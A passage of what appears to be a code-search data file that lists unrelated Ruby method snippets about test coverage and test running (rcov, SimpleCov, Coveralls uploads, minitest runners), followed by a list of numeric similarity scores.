end\n\n rcov_bin = RUBY_PLATFORM =~ /java/ ? \"jruby -S rcov\" : \"rcov\"\n rcov = \"#{rcov_bin} --rails -Ilib:test --sort coverage --text-report #{exclude} --aggregate coverage.data\"\n puts\n puts\n puts \"Running tests...\"\n cmd = \"#{rcov} #{files}\"\n puts cmd\n system cmd\nend",
"def prime_tests\n meth = %i[visit get].find { |m| respond_to?(m) } or return\n without_tracing do\n # Since the option causes a redirect, it's a little faster to avoid it\n # for subsequent executions.\n opt = self.tests_primed ? {} : { debug: true }\n send(meth, root_url(**opt))\n self.tests_primed = true\n end\n end",
"def start!(&block)\n warn(\"ChefSpec's coverage reporting is deprecated and will be removed in a future version\")\n instance_eval(&block) if block\n at_exit { ChefSpec::Coverage.report! }\n end",
"def instrumenter; end",
"def show_total_coverage\n unless @project.nil?\n markdown total_coverage_markdown\n end\n end",
"def simplecov_configuration\n proc do\n gemfile = Eaco::Rake::Utils.gemfile\n coverage_dir \"coverage/#{gemfile}\"\n add_filter ['/features', '/spec']\n end\n end",
"def report!\n simplecov\n Coveralls.push!\n\n nil\n end",
"def running_test_case; end",
"def result_to_codecov_coverage(result)\n result.files.each_with_object({}) do |file, memo|\n memo[shortened_filename(file)] = file_to_codecov(file)\n end\n end",
"def report_coverage?\n config.report || config.no_coverage.nil? && config.coverage && config.test.nil? && config.args.empty?\n end",
"def run( result )\n\t\tprint_test_header self.name\n\t\tsuper\n\tend",
"def run_rspec(source, test_file)\n ForkProcess.run do\n Coverage.start(lines: true, branches: true)\n exit_code = RSpec::Core::Runner.run([test_file])\n Coverage.result.fetch(source.location.filename, {}).merge({ test_status: exit_code })\n end\n end",
"def coverage(message, log = true)\n log_coverage(message) if log\n end",
"def process(result)\n # :nocov:\n raise NotImplementedError\n # :nocov:\n end",
"def exec_search alg\n cover = send(\"exec_search_#{alg}\") \n write_cover(cover, alg) if $extensive_write\n return cover\nend",
"def measure_coverage\n @measure_coverage = true\n self.plugins << {\n 'name' => 'coverage',\n 'jar' => File.join(vendor_directory, 'coverage.jar'),\n 'module' => 'com.google.jstestdriver.coverage.CoverageModule'\n }\n end",
"def build(project_name, auto_install, proxy_option)\n # On verifie la presence de rcov\n Utils.verify_gem_presence(\"rcov\", auto_install, proxy_option)\n # On lance la generation\n puts \" Building rcov code coverage report...\"\n if Dir.glob(\"test/**/*_test.rb\").length > 0\n pattern = \"test/**/*_test.rb\"\n else\n pattern = \"spec/**/*_spec.rb\"\n end\n rcov_ignored_gems = []\n gem_list = Utils.run_command(\"gem list\")\n gem_list.split(\"\\n\").each{|gem|rcov_ignored_gems << gem.split(' ')[0]}\n rcov_command = nil\n if rcov_ignored_gems.length == 0\n rcov_command = \"rcov --rails #{pattern}\"\n else\n rcov_command = \"rcov --rails --exclude #{rcov_ignored_gems.join(',')} #{pattern}\"\n end\n rcov_pass = Utils.run_command(rcov_command)\n if rcov_pass.index(\"Finished in\").nil?\n raise \" Execution of rcov failed with command '#{rcov_command}'.\\n BUILD FAILED.\"\n end\n # On recupere le rapport genere\n Dir.mkdir \"#{Continuous4r::WORK_DIR}/rcov\"\n FileUtils.mv(\"coverage\", \"#{Continuous4r::WORK_DIR}/rcov/\")\n end",
"def instrument; end",
"def initialize\n @num_files = @num_classes = @num_modules = @num_methods = 0\n @start = Time.now\n \n @coverage = { }\n\n [:class, :method, :module].each do |type|\n @coverage[type] = { :covered => [], :not_covered => [] }\n end\n \n @coverage[:tokens] = {}\n end",
"def benchmark(reporter); end",
"def report\n [coverage, badge]\n end",
"def grab_coverage(page)\n result = page.evaluate_script(\"window._$jscoverage\") rescue nil\n \n if result != nil\n # we have to shift all lines up by 1. Why? because jscoverage messes up with line numbers a bit\n result.inject({}) do |memo, (file, report)|\n file == 'file_paths' ? memo.merge(file => report) : memo.merge(file => (report || [])[1..-1])\n end\n else\n {}\n end\n end",
"def coverage\n @coverage = 0;\n\n puts %w(member_id spm mpm ser pd extra total).join(\"\\t\");\n @members.each do |m|\n m.costs[:total] = m.costs[:spm] + m.costs[:mpm] + m.costs[:ser] + m.costs[:pd] + m.costs[:extra];\n print_cost = [:spm, :mpm, :ser, :pd, :extra, :total].map{|x| m.costs[x]}.join(\"\\t\");\n puts [m.member_id, print_cost].join(\"\\t\") unless @to_stdout;\n @coverage += m.costs[:total];\n end\n\n puts \"Total operating cost = #{@total_op_cost}, coverage = #{@coverage}\";\n diff = @total_op_cost - @coverage;\n if @coverage > @total_op_cost then\n puts \"We are charging %.10f too much\" % diff.abs;\n elsif @coverage < @total_op_cost then\n puts \"We are charging %.10f too little\" % diff.abs;\n end\n\n # If we are off more than one dollar per member, adjust.\n if diff.abs > (@members.size / 100.0) then\n diff_per_member = diff.to_f / @members.size;\n deet(\"diff_per_member\\t#{diff_per_member}\");\n @members.each do |m|\n m.costs[:extra] += diff_per_member;\n end\n puts \"Adding #{diff_per_member} as extra cost to each member.\";\n puts \"Running the numbers again...\";\n return coverage();\n else\n puts \"... but the diff is so small that we don't care.\";\n end\n\n data(%w(member_id spm mpm ser pd weight extra total).join(\"\\t\"));\n @members.each do |m|\n data(m.to_s);\n end\n\n unless @to_stdout\n @data.close();\n @deet.close();\n end\n end",
"def visit_with_jscov_hooks(*args)\n SimplecovJscoverage.hooks.detect { |hook| hook.is_a?(SimplecovJscoverage::Capybara::Hooks) }.try(:incremental_report!, self)\n visit_without_jscov_hooks(*args)\n end",
"def coverage\n @coverage = 0;\n\n puts %w(member_id spm mpm ser pd extra subtotal total).join(\"\\t\");\n @members.each do |m|\n m.costs[:subtotal] = m.costs[:spm] + m.costs[:mpm] + m.costs[:ser] + m.costs[:pd] + m.costs[:extra];\n m.costs[:total] = m.costs[:subtotal] * @multiply_subtotal;\n print_cost = [:spm, :mpm, :ser, :pd, :extra, :subtotal, :total].map{|x| m.costs[x]}.join(\"\\t\");\n puts [m.member_id, print_cost].join(\"\\t\");\n @coverage += m.costs[:subtotal];\n end\n\n puts \"Total operating cost = #{@total_op_cost}, coverage = #{@coverage}\";\n diff = @total_op_cost - @coverage;\n if @coverage > @total_op_cost then\n puts \"We are charging %.10f too much\" % diff.abs;\n elsif @coverage < @total_op_cost then\n puts \"We are charging %.10f too little\" % diff.abs;\n end\n\n # If we are off more than one dollar per member, adjust.\n if diff.abs > (@members.size / 100.0) then\n diff_per_member = diff.to_f / @members.size;\n @deet.file.puts \"diff_per_member\\t#{diff_per_member}\";\n @members.each do |m|\n m.costs[:extra] += diff_per_member;\n end\n puts \"Adding #{diff_per_member} as extra cost to each member.\";\n puts \"Running the numbers again...\";\n return coverage();\n else\n puts \"... but the diff is so small that we don't care.\";\n end\n\n @data.file.puts %w(member_id spm mpm ser pd extra subtotal total).join(\"\\t\");\n @members.each do |m|\n @data.file.puts m.to_s;\n end\n @data.close();\n @deet.close();\n end",
"def initialize(context)\n\tsuper\n\t\n\trequire_relative '../../lib/covered'\nend",
"def coverage\n empty? ? 1 : Rational(successful, total)\n end",
"def covered?; end",
"def results(cacheable_only: false)\n {\n coverage_viz: coverage_viz(cacheable_only: cacheable_only),\n quality_metrics: quality_metrics,\n taxon_info: taxon_info,\n }\n end",
"def coverage_exceeding_source_warn; end",
"def start!\n Coveralls.wear_merged!(&simplecov_configuration)\n\n nil\n end",
"def script\n sh.raw \"echo -en 'coverity_scan:start\\\\r'\"\n sh.if \"${COVERITY_VERBOSE} = 1\", echo: true do\n sh.raw \"set -x\"\n end\n sh.set 'PROJECT_NAME', @config[:project][:name], echo: true\n set_coverity_scan_branch\n sh.if \"${COVERITY_SCAN_BRANCH} = 1\", echo: true do\n sh.raw \"echo -e \\\"\\033[33;1mCoverity Scan analysis selected for branch \\\"$TRAVIS_BRANCH\\\".\\033[0m\\\"\"\n authorize_quota\n build_command\n end\n sh.raw \"echo -en 'coverity_scan:end\\\\r'\"\n end",
"def coverage(scraperjsonpath, results)\n # get the element names\n elements = JSON.load(File.open scraperjsonpath)['elements'].keys\n coverage = []\n # calculate coverage\n elements.each do |element|\n # calculate coverage for this line\n if results.detect { |result| result.is_a?(Hash) && result.key?(element) }\n coverage << 1\n else\n coverage << 0\n end\n end\n { :name => scraperjsonpath,\n :source => elements.join('\\n'),\n :coverage => coverage }\nend",
"def run_test(skip_post_process, original_results_directory, run_coverage = true)\n puts ' ========================= Starting Run for Minitest (and coverage) ============================'\n # not sure what @base_dir has to be right now\n pre_process_minitest(original_results_directory)\n\n # Specify the minitest reporters\n require 'minitest/reporters'\n Minitest::Reporters.use! [\n Minitest::Reporters::HtmlReporter.new,\n Minitest::Reporters::JUnitReporter.new\n ]\n\n if run_coverage\n # Load in the coverage before loading the test files\n SimpleCov.formatter = SimpleCov::Formatter::MultiFormatter.new(\n [\n SimpleCov::Formatter::HTMLFormatter\n ]\n )\n\n SimpleCov.start do\n # Track all files inside of @base_dir\n track_files \"#{@base_dir}/**/*.rb\"\n\n use_merging false\n\n # Exclude all files outside of @base_dir\n root_filter = nil\n add_filter do |src|\n root_filter ||= /\\A#{Regexp.escape(@base_dir + File::SEPARATOR)}/io\n src.filename !~ root_filter\n end\n end\n end\n\n num_tests = 0\n openstudio_version = OpenStudio::VersionString.new(OpenStudio.openStudioVersion)\n Dir[\"#{@base_dir}/**/*_Test.rb\", \"#{@base_dir}/**/*_test.rb\"].uniq.each do |file|\n file = File.expand_path(file)\n measure_dir = File.expand_path(File.join(File.dirname(file), '..'))\n\n # check measure xml\n compatible = {\n compatible: true,\n message: '',\n openstudio_version: openstudio_version.str,\n measure_min_version: 'None',\n measure_max_version: 'None',\n loaded: false,\n load_errors: []\n }\n begin\n measure = OpenStudio::BCLMeasure.new(measure_dir)\n compatible[:measure_name] = measure.className\n measure.files.each do |f|\n if f.fileName == 'measure.rb'\n if !f.minCompatibleVersion.empty?\n min_version = f.minCompatibleVersion.get\n compatible[:measure_min_version] = min_version.str\n if openstudio_version < min_version\n compatible[:compatible] = false\n compatible[:message] = \"OpenStudio Version #{openstudio_version.str} < Min Version #{min_version.str}\"\n end\n end\n if !f.maxCompatibleVersion.empty?\n max_version = f.maxCompatibleVersion.get\n compatible[:measure_max_version] = max_version.str\n if openstudio_version > max_version\n compatible[:compatible] = false\n compatible[:message] = \"OpenStudio Version #{openstudio_version.str} > Max Version #{max_version.str}\"\n end\n end\n end\n end\n rescue StandardError => e\n compatible[:compatible] = false\n compatible[:message] = e.message\n end\n\n if !compatible[:compatible]\n puts \"Measure not compatible: #{measure_dir}, #{compatible[:message]}\"\n next\n end\n\n # load test\n puts \"Loading file for testing: #{file}\"\n begin\n load file\n compatible[:loaded] = true\n num_tests += 1\n rescue StandardError, LoadError => e\n compatible[:load_errors] << e.message\n end\n\n ensure\n # Write out the compatibility\n # write out to a file that the measure is not applicable\n os_compatible_file = \"#{@base_dir}/test_results/minitest/compatibility/#{compatible[:measure_name]}.json\"\n puts os_compatible_file\n FileUtils.mkdir_p File.dirname(os_compatible_file) unless Dir.exist? File.dirname(os_compatible_file)\n File.open(os_compatible_file, 'w') do |f|\n f << JSON.pretty_generate(compatible)\n end\n end\n\n if num_tests < 1\n puts 'No tests found'\n\n if run_coverage\n # This doesn't seem to be working, it doesn't save off the .resultset.json.\n begin\n simplecov_exit_status = SimpleCov.end_now\n rescue NoMethodError\n # in case using some other version of SimpleCov\n SimpleCov.set_exit_exception\n exit_status = SimpleCov.exit_status_from_exception\n SimpleCov.result.format!\n simplecov_exit_status = SimpleCov.process_result(SimpleCov.result, exit_status)\n end\n end\n\n if skip_post_process\n return true\n else\n return post_process_results(original_results_directory)\n end\n else\n puts \"Inspected #{num_tests} tests\"\n end\n\n # Now call run on the loaded files. Note that the Minitest.autorun method has been nulled out in the\n # openstudio_measure_tester.rb file, so it will not run.\n begin\n Minitest.run ['--verbose']\n rescue StandardError => e\n puts\n puts '!!!!!!!!!!!!!!!!!!!!! Minitest Error Occurred !!!!!!!!!!!!!!!!!!!!!'\n puts e.message\n puts e.backtrace\n puts '!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'\n puts\n end\n\n # Shutdown SimpleCov and collect results\n # This will set SimpleCov.running to false which will prevent from running again at_exit\n if run_coverage\n begin\n simplecov_exit_status = SimpleCov.end_now\n rescue NoMethodError\n # in case using some other version of SimpleCov\n SimpleCov.set_exit_exception\n exit_status = SimpleCov.exit_status_from_exception\n SimpleCov.result.format!\n simplecov_exit_status = SimpleCov.process_result(SimpleCov.result, exit_status)\n end\n end\n\n if skip_post_process\n return true\n else\n return post_process_results(original_results_directory)\n end\n end",
"def main\n require 'benchmark'\n result_hash = nil\n \n time = Benchmark.measure { result_hash = build_pcrs_hash }\n show do\n title \"operations batched\"\n note \"#{time.to_s}\" \n end\n \n log_info result_hash\n {}\n end",
"def run\n # Clear out previous run\n @result = nil\n\n field_stream = FieldStream.new\n @xtrace = Xtrace.new(field_stream)\n\n fd = @xtrace.file_descriptor\n env = { \"PS4\" => Xtrace.ps4 }\n options = { in: :in }\n\n if Bashcov.options.mute\n options[:out] = \"/dev/null\"\n options[:err] = \"/dev/null\"\n end\n\n run_xtrace(fd, env, options) do\n command_pid = Process.spawn env, *@command, options # spawn the command\n\n begin\n # start processing the xtrace output\n xtrace_thread = Thread.new { @xtrace.read }\n\n Process.wait command_pid\n\n @xtrace.close\n\n @coverage = xtrace_thread.value # wait for the thread to return\n rescue XtraceError => e\n write_warning <<-WARNING\n encountered an error parsing Bash's output (error was:\n #{e.message}). This can occur if your script or its path contains\n the sequence #{Xtrace.delimiter.inspect}, or if your script unsets\n LINENO. Aborting early; coverage report will be incomplete.\n WARNING\n\n @coverage = e.files\n end\n end\n\n $?\n end",
"def refuse_coverage_drop; end",
"def main\n \n require 'benchmark'\n result_hash = nil\n \n time = Benchmark.measure { result_hash = build_pcrs_hash }\n show do\n title \"operations batched\"\n note \"#{time.to_s}\" \n end\n \n log_info result_hash\n \n {}\n end",
"def go_run_tests\n @status = :running\n Thread.new do\n begin\n test_cases = @test_suite.sources\n\n @mutex.synchronize do\n @test_cases = test_cases\n @test_results = {}\n end\n\n @test_suite.run_tests do |result|\n @mutex.synchronize do\n @test_results[result[:source]] = result[:result]\n end\n end\n\n rescue => e\n puts e\n print e.bracktrace.join(\"\\n\")\n ensure\n @status = :ran\n end\n\n end\n end",
"def run\n # Find *.info tracefiles if none specified on the command line.\n Find.find('.') do |path|\n @log.trace { \"Looking for tracefiles: #{path}\" }\n if path =~ /.*\\.info$/ then\n @log.info { \"Found tracefile: #{path}\" }\n ARGV << path\n end\n end unless ARGV.any?\n\n @options[:root] = find_root(ARGV) unless @options.include?(:root)\n if !@options[:root] then\n @log.error 'Root not specified, nor detected; consider using --root'\n exit!\n end\n\n # Build the coveralls.io job request.\n job = {}\n job[:repo_token] = @options[:token] if @options.has_key? :token\n job[:service_name] = @options[:service] if @options.has_key? :service\n job[:service_job_id] = @options[:job_id] if @options.has_key? :job_id\n if !job.has_key?(:token) and !job.has_key?(:service_job_id) then\n @log.warn 'No service job id detected; consider using --token'\n end\n job[:source_files] = get_source_files(ARGV, @options[:root])\n job[:git] = get_git_info(@options[:root]) unless !@options[:git]\n job[:run_at] = Time.new\n request = Lcoveralls::CoverallsRequest.new(job)\n @log.trace { request.body }\n\n # If asked to, export the Coveralls API job request JSON document.\n if @options.has_key? :export then\n @options[:export].write(JSON::pretty_generate job);\n end\n\n # Send (if not in dryrun mode) the Coveralls API request.\n uri = URI('https://coveralls.io/api/v1/jobs')\n http = Net::HTTP.new(uri.host, uri.port)\n http.open_timeout = @options[:timeout] if @options.has_key? :timeout\n http.read_timeout = @options[:timeout] if @options.has_key? :timeout\n http.ssl_timeout = @options[:timeout] if @options.has_key? :timeout\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n\n if !@options[:dryrun] then\n begin\n @log.debug { \"Sending #{request.body.size} bytes to coveralls.io\" }\n response = http.request(request)\n @log.debug { \"HTTP response status: #{response.code} #{response.message}\" }\n raise response.code unless response.is_a? Net::HTTPSuccess\n puts response.body\n rescue RuntimeError\n raise unless response\n @log.error { \"Received non-OK response: #{response.code} #{response.message}\" }\n puts response.body\n retry if should_retry? unless response.is_a? Net::HTTPClientError\n exit!\n rescue SocketError => error\n @log.error { error }\n retry if should_retry?\n exit!\n end\n end\n end",
"def respond_to?(method_name, *)\n if method_name.eql? :coverage\n true\n else\n super\n end\n end",
"def covers_with_cache\n caller_source = caller.first[/[^:]+/]\n \n class_eval do\n @covercache_caller_source = caller_source\n include Covercache::ModelConcern\n extend Covercache::DefiningHelper\n end\n end",
"def total_coverage\n unless @project.nil?\n @total_coverage ||= begin\n total_project_lines = 0\n total_project_lines_tested = 0\n @project.coverage_files.each do |coverage_file|\n total_project_lines_tested += coverage_file.num_lines_tested\n total_project_lines += coverage_file.num_lines_testable\n end\n @total_coverage = (total_project_lines_tested / total_project_lines.to_f) * 100.0\n end\n end\n end",
"def generate_coverages\r\n [].tap do |results|\r\n count = 0\r\n coverages.each do |obj|\r\n cov = {\r\n 'name' => obj['name'],\r\n 'code' => \"COV%03d\" % count,\r\n 'main_coverage' => !obj['rider'],\r\n 'risk_category' => \"AUTO\",\r\n 'insured_object' => \"VEHICLE\",\r\n 'coverage_group' => obj['name'].gsub(/^.*\\((.+)\\).*$/, \"\\\\1\"),\r\n 'limits' => [],\r\n 'deductible' => [],\r\n 'premium' => {\r\n 'type' => 'FixedValue',\r\n 'value' => 0.0\r\n }\r\n }\r\n cov['description'] = obj['damages'].split(';').join(',') +\r\n \" caused by \" + obj['perils'].split(';').join(',') + '.'\r\n \r\n if obj['name'] =~ /^([A-Z]+) \\(([A-Z]+)\\).*$/\r\n pg, dg = $1, $2\r\n cov['peril_groups'] = [\r\n {\r\n 'code' => pg,\r\n 'perils' => obj['perils'].split(';').map(&:strip),\r\n 'damage_groups' => [\r\n {\r\n 'code' => dg,\r\n 'damages' => obj['damages'].split(';').map(&:strip)\r\n }\r\n ]\r\n }\r\n ]\r\n end\r\n\r\n results << cov\r\n count += 1\r\n end\r\n end\r\nend",
"def recording_webmock_cassette(name, options = {}, &block)\n WebMock::Config.instance.net_http_connect_on_start = true\n VCR.use_cassette(name, options, &block)\n ensure\n WebMock::Config.instance.net_http_connect_on_start = false\n end",
"def captured_results\n @captured_results ||= {}\n end",
"def least_covered_file; end",
"def run_enhanced\n begin\n @test.call\n @status = :pass\n rescue => e\n e.set_backtrace(Thread.__backtrace(false, 1_000)) if defined? Maglev\n @status = :fail\n @exception = e\n end\n end",
"def coverage(scripts)\n require 'uncool/app'\n\n app = App.new(options)\n\n app.log\n\n scripts.each do |file|\n require(file)\n end\n end",
"def rcov\n require 'rcov/rcovtask'\n Rcov::RcovTask.new do |t|\n t.libs << 'test'\n t.test_files = FileList['test/**/{spec_*,*_test,*_spec}.rb']\n t.verbose = true\n end\n rake 'rcov'\n nil\n end",
"def path_to_coverage_report\n require 'pathname'\n Pathname.new(\"#{Origen.root}/coverage/index.html\").relative_path_from(Pathname.pwd)\nend",
"def run\n return unless profile\n\n @locked = true\n\n log :info, \"StackProf#{config.raw? ? \" (raw)\" : \"\"} enabled globally: \" \\\n \"mode – #{config.mode}, target – #{config.target}\"\n\n at_exit { dump(\"total\") } if config.suite?\n end",
"def run( result )\n\t\t\t$stderr.puts self.name if $VERBOSE || $DEBUG\n\n\t\t\t# Support debugging for individual tests\n\t\t\tolddb = nil\n\t\t\tif $DebugPattern && $DebugPattern =~ @method_name\n\t\t\t\tolddb = $DEBUG\n\t\t\t\t$DEBUG = true\n\t\t\tend\n\t\t\t\n\t\t\tsuper\n\n\t\t\t$DEBUG = olddb unless olddb.nil?\n\t\tend",
"def refork; end",
"def fully_covered\n return true\n end",
"def process_test_cases\n raise NotImplementedError, 'You must implement this'\n end",
"def go_run_one(test_case)\n @status = :running\n Thread.new do\n begin\n @test_suite.run_test(test_case) do |result|\n @test_results[result[:source]] = result[:result]\n end\n rescue => e\n puts e\n print e.bracktrace.join(\"\\n\")\n ensure\n @status = :ran\n end\n end\n end",
"def running_test_step; end",
"def _roda_after_90__common_logger(result)\n super if result && _common_log_request?(result)\n end",
"def setup\r\n\r\n # Save the Global variable's original settings so that they can be changed in this\r\n # test without affecting other test, so long as they are restored by teardown\r\n @@VERBOSE_ORIG = $VERBOSE\r\n @@DEBUG_ORIG = $DEBUG\r\n @@FAST_SPEED_ORIG = $FAST_SPEED\r\n @@HIDE_IE_ORIG = $HIDE_IE\r\n\r\n # Record the time that current test case starts\r\n @@tTestCase_StartTime = Time.now\r\n\r\n # Start a new Logger Object and assign it to a Global Object\r\n #\r\n # Using the default values:\r\n # Create a \"waitr_works/results\" directory within the OS's Temporary directory\r\n # That directory will contain the single log file used for all tests.\r\n # If the current log file gets too big, output rolls to another log file.\r\n if(@@bLogOutput == true)\r\n $logger = capture_results()\r\n end\r\n\r\n # Hide the annoying console window so that it doesn't cover any of the screen\r\n minimize_ruby_console()\r\n\r\n # Record the test environment if it hasen't already been recorded\r\n if($bEnvironmentRecorded != true)\r\n $bEnvironmentRecorded = record_environment()\r\n @@bContinue = $bEnvironmentRecorded\r\n end\r\n\r\n # Open the Workbook containing the data for the test cases,\r\n # and read the data into memory if it hasen't already been read\r\n if((@@bContinue == true) and ($bDataSetRead != true))\r\n #$bDataSetRead = read_dataset()\r\n @@bContinue = $bDataSetRead\r\n end\r\n\r\n # Open a browser and access the site if it hasen't already been recorded\r\n #if((@@bContinue == true) and ($bWebSiteAccessed != true))\r\n\r\n $browser = start_browser($sDefaultBrowser)\r\n #$browser.goto(\"www.ask.com\")\r\n\r\n #$bWebSiteAccessed = access_dishonline()\r\n @@bContinue = $bWebSiteAccessed\r\n #end\r\n\r\n\r\n\r\n end",
"def test_result_running_request\n stub_request(:get, \"http://www.webpagetest.org/jsonResult.php?pagespeed=1&test=#{OTHER_TEST_ID}\").\n with(:headers => {'Accept'=>'*/*', 'Accept-Encoding'=>'gzip;q=1.0,deflate;q=0.6,identity;q=0.3', 'User-Agent'=>'Faraday v0.8.8'}).\n to_return(:status => 200, :headers => {}, :body => test_running_response(OTHER_TEST_ID).to_json)\n end",
"def run\n connection = VMConnection.new(report)\n last_percent = connection.get_simplecov_last_percent\n\n if last_percent && last_percent.is_a?(Float)\n self.percent = last_percent.to_f\n save\n return true\n end\n\n false\n end",
"def coverage( idx )\n if @cov_ab[ idx ] == nil\n @cov_ab[ idx ] = VcfTools.get_coverage( @data[:info], @data[:samples][idx] )\n end\n return @cov_ab[ idx ]\n end",
"def record_result(homescore, awayscore, status=\"COMPLETED\")\n super(homescore, awayscore, status)\n self.advance_contestants()\n end",
"def resultset_path\n File.join(SimpleCov.coverage_path, RESULTSET_FILENAME)\n end",
"def run\n return run_work_unit unless @options['benchmark']\n status = CloudCrowd.display_status(@status)\n log(\"ran #{@action_name}/#{status} in \" + Benchmark.measure { run_work_unit }.to_s)\n end",
"def run_examination\n true\n end",
"def test_coverage_threshold(matches)\n if matches.to_f >= coverage\n true\n else\n 'Insufficient Coverage.'\n end\n end",
"def benchmark\nend",
"def before_deploy_site \n Dir.chdir Origen.root do \n system \"origen examples -c\" \n dir = \"#{Origen.root}/web/output/coverage\" \n FileUtils.remove_dir(dir, true) if File.exists?(dir) \n system \"mv #{Origen.root}/coverage #{dir}\" \n end \n end",
"def coverage_level= level\n level = -1 unless level\n\n @coverage_level = level\n end",
"def pre_process_minitest(orig_results_dir)\n puts \"Current directory is #{@base_dir}\"\n puts \"Pre-processed tests run data in #{orig_results_dir}\"\n puts \"Test results will be stored in: #{test_results_dir}\"\n\n # There is a bunch of moving that needs to happen with coverage/minitest...\n FileUtils.rm_rf \"#{orig_results_dir}/coverage\" if Dir.exist? \"#{orig_results_dir}/coverage\"\n FileUtils.rm_rf \"#{@base_dir}/coverage\" if Dir.exist? \"#{@base_dir}/coverage\"\n FileUtils.rm_rf \"#{test_results_dir}/coverage\" if Dir.exist? \"#{test_results_dir}/coverage\"\n\n FileUtils.rm_rf \"#{orig_results_dir}/minitest\" if Dir.exist? \"#{orig_results_dir}/minitest\"\n FileUtils.rm_rf \"#{@base_dir}/minitest\" if Dir.exist? \"#{@base_dir}/minitest\"\n FileUtils.rm_rf \"#{test_results_dir}/minitest\" if Dir.exist? \"#{test_results_dir}/minitest\"\n\n FileUtils.rm_rf \"#{orig_results_dir}/test\" if Dir.exist? \"#{orig_results_dir}/test\"\n FileUtils.rm_rf \"#{@base_dir}/test\" if Dir.exist? \"#{@base_dir}/test\"\n # remove the test directory if it is empty (size == 2 for . and ..)\n if Dir.exist?(\"#{test_results_dir}/test\") && Dir.entries(\"#{test_results_dir}/test\").size == 2\n FileUtils.rm_rf \"#{test_results_dir}/test\"\n end\n FileUtils.rm_rf \"#{test_results_dir}/minitest\" if Dir.exist? \"#{test_results_dir}/minitest\"\n\n # Create the test_results directory to store all the results\n return test_results_dir\n end",
"def start_simplecov\n require 'simplecov'\n SimpleCov.start :rails\n\n RSpec.configure do |config|\n require 'miletus/namespace_helper'\n # Mixin namespace helpers\n config.include Miletus::NamespaceHelper\n end\n\nend",
"def run(args)\n begin\n command = @ceedling[:tool_executor].build_command_line(TOOLS_GCOV_GCOVR_POST_REPORT, [], args)\n shell_result = @ceedling[:tool_executor].exec(command[:line], command[:options])\n @reportinator_helper.print_shell_result(shell_result)\n rescue\n # handle any unforeseen issues with called tool\n exitcode = $?.exitstatus\n show_gcovr_message(exitcode)\n exit(exitcode)\n end\n end",
"def show_coverage(*)\n return if filtered_items.empty?\n\n table = \"## Code coverage\\n\".dup\n table << table_header\n table << table_separation\n\n filtered_items.each do |item|\n table << table_entry(item)\n end\n markdown table\n end",
"def quality_indicator_name\n \"tests coverage\"\n end",
"def master_run!(cv)\n @dir = \"#{parent_dir}/#{@options.opts}\"\n \t\tDir.mkdir @dir\n @cvs = cv || 1\n @results = {}\n \t\t#Notify.started @experiment\n split_up_data\n \t\t#write_dir!\n \t\texps = param_grid.product((1..@cvs).to_a)\n \t\t@completed = Hash[*exps.map {|a| [a, false] }.flatten]\n \t\t@started = @completed.dup\n end",
"def performance(index)\n puts \"\\n#{@testcase.name}\\n\"\n puts \" %-10s %-20s %-8s %s \" % [\"#{@response.runtime.to_s[0..6]}s\", \"[#{result_case}]\", @testcase.request['method'], @response.fully_qualified_path]\n end",
"def test_cases; end",
"def run!(not_used_arg)\n while work = @master.get_work\n puts work.inspect\n Experiment::Config.set work[:options]\n @current_cv = work[:cv]\n @dir = work[:dir]\n @data = work[:input]\n #@data = work[:input]\n execute_experiment!\n \t\t\tresult = analyze_result!(@dir + \"/raw-#{@current_cv}.txt\", @dir + \"/analyzed-#{@current_cv}.txt\")\n \t\t\twrite_performance!\n \t\t\t@master.submit_result @current_cv, result, @abm.first\n end\n\n end",
"def initialize(coverage_threshold = 95, id = :spec)\n super(id, 'rspec')\n # just use sensible defaults here.\n add_rspec\n add_simplecov(coverage_threshold)\n end",
"def initialize(config, raw_results)\n raise ArgumentError if config[:threshold] < 0\n\n @exclude_files = config[:exclude]\n @threshold = config[:threshold]\n @result = raw_results\n\n exclude_external_sources\n exclude_files_user_dont_want if @exclude_files\n\n @not_covered_enough = if config[:exclude_above_threshold]\n exclude_sources_above_threshold\n else\n @coverable_files\n end\n end",
"def non_covered_method\n method = \"I am not covered\"\n end",
"def process_test_results(force: false, xunit_viewer: \"xunit-viewer\")\n process_test_results_xunit(force: force, xunit_viewer: xunit_viewer)\n end",
"def post_analyze!\n contents = File.open(self.name, 'r').readlines\n exelines = 0\n contents.each_with_index do |line, num|\n sline = line.strip\n \n case sline\n when '', /^#/\n lines << num + 1\n when /^\\s*(?:end|\\})\\s*(?:#.*)?$/, /^(public|private|protected)/,\n /^(?:begin\\s*(?:#.*)?|ensure\\s*(?:#.*)?|else\\s*(?:#.*)?)$/,\n /^(?:rescue)/, /^case\\s*(?:#.*)?$/, /^(\\)|\\]|\\})(?:#.*)?$/\n lines << num + 1\n exelines += 1\n else\n exelines += 1\n end\n \n end\n \n @coverage_percent = (exelines.to_f / contents.size) * 100.0\n end",
"def before_country_test_print_mt4\r\n $results.puts \"***** Starting Demo Account MT4 Test: Country = \" + $country\r\n $summary_results.puts \"***** Starting Demo Account MT4 Test: Country = \" + $country\r\nend",
"def coverage\n @_coverage ||= if File.exist?(@output_file)\n # <td><tt class='coverage_code'>78.95%</tt> </td>\n # <div class=\"percent_graph_legend\"><tt class='coverage_total'>78.95%</tt></div>\n # \n # content = File.read(@output_file)\n # matches = content.scan(/<td><tt class='coverage_code'>78.95%</tt> </td>/)\n \n content = File.read(@output_file)\n matches = content.scan(/<td><tt class='coverage_code'>(\\d+\\.\\d+)%<\\/tt> <\\/td>/)\n\n if matches.empty?\n matches = content.scan(/<div class=\"percent_graph_legend\"><tt class='coverage_total'>(\\d+\\.\\d+)%<\\/tt><\\/div>/)\n end\n\n matches.first.to_s.to_f\n end\n \n @_coverage ||= 0\n end",
"def spec(result, log = true)\n @run_count += 1\n if result.passing?\n @passes << result\n elsif result.pending?\n @pendings << result\n else\n @failures << result\n end\n log_spec(result) if log\n @stdout = \"\"\n end"
] |
[
"0.7429355",
"0.7429355",
"0.7261151",
"0.65028083",
"0.63773966",
"0.6352008",
"0.6264562",
"0.60111326",
"0.59743744",
"0.593595",
"0.5933165",
"0.59013397",
"0.585767",
"0.5673992",
"0.56510586",
"0.5650351",
"0.5645502",
"0.5624903",
"0.5613734",
"0.56104046",
"0.5599582",
"0.55961627",
"0.5592948",
"0.55776954",
"0.5576049",
"0.55741477",
"0.5566781",
"0.556275",
"0.55536956",
"0.5546836",
"0.5496985",
"0.54803896",
"0.5479877",
"0.5475182",
"0.54702175",
"0.5463129",
"0.54171133",
"0.5407469",
"0.53892475",
